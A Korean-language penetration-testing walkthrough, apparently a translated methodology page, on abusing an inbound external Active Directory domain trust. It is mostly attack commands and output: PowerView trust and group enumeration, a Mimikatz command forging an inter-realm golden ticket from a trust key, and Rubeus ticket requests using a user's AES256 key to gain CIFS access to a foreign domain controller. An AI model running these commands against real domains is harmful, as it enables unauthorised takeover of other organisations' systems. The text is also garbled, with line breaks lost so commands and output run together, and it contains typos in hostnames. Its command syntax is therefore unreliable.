이 시나리오에서 외부 도메인은 당신을 신뢰하고 있거나(또는 서로를 신뢰하고 있음) 당신은 그에 대한 어떤 종류의 접근 권한을 얻을 수 있습니다.
Enumeration
우선, trust를 enumerate해야 합니다:
Get-DomainTrustSourceName : a.domain.local --> Current domainTargetName : domain.external --> Destination domainTrustType : WINDOWS-ACTIVE_DIRECTORYTrustAttributes :TrustDirection : Inbound --> Inboud trustWhenCreated : 2/19/202110:50:56 PMWhenChanged : 2/19/202110:50:56 PM# Get name of DC of the other domainGet-DomainComputer-Domain domain.external -Properties DNSHostNamednshostname-----------dc.domain.external# Groups that contain users outside of its domain and return its membersGet-DomainForeignGroupMember-Domain domain.externalGroupDomain : domain.externalGroupName : AdministratorsGroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=externalMemberDomain : domain.externalMemberName : S-1-5-21-3263068140-2042698922-2891547269-1133MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,DC=external# Get name of the principal in the current domain member of the cross-domain groupConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133DEV\External Admins# Get members of the cros-domain groupGet-DomainGroupMember-Identity "External Admins"| select MemberNameMemberName----------crossuser# Lets list groups members## Check how the "External Admins" is part of the Administrators group in that DCGet-NetLocalGroupMember-ComputerName dc.domain.externalComputerName : dc.domain.externalGroupName : AdministratorsMemberName : SUB\External AdminsSID : S-1-5-21-3263068140-2042698922-2891547269-1133IsGroup : TrueIsDomain : True# You may also enumerate where foreign groups and/or users have been assigned# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
이전 열거에서 crossuser 사용자가 외부 도메인의 DC 내에서 관리자 액세스를 가진 External Admins 그룹에 속해 있는 것으로 확인되었습니다.
초기 액세스
다른 도메인에서 사용자에 대한 특별한 액세스를 찾지 못한 경우, AD 방법론으로 돌아가서 비특권 사용자에서 권한 상승을 시도할 수 있습니다 (예: kerberoasting과 같은):
Powerview 함수를 사용하여 -Domain 매개변수를 사용하여 다른 도메인을 열거할 수 있습니다:
# Get a TGT for the cross-domain privileged user to the other domainInvoke-Mimikatz-Command'"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators groupRubeus.exeasktgs/service:cifs/dc.doamin.external/domain:dc.domain.external/dc:dc.domain.external/ticket:C:\path\save\ticket.kirbi/nowrap# Now you have a TGS to access the CIFS service of the domain controller
사용자 완전 임포스네이팅
# Get a TGT of the user with cross-domain permissionsRubeus.exeasktgt/user:crossuser/domain:sub.domain.local/aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80/opsec/nowrap# Get a TGT from the current domain for the target domain for the userRubeus.exeasktgs/service:krbtgt/domain.external/domain:sub.domain.local/dc:dc.sub.domain.local/ticket:doIFdD[...snip...]MuSU8=/nowrap# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators groupRubeus.exeasktgs/service:cifs/dc.doamin.external/domain:dc.domain.external/dc:dc.domain.external/ticket:doIFMT[...snip...]5BTA==/nowrap# Now you have a TGS to access the CIFS service of the domain controller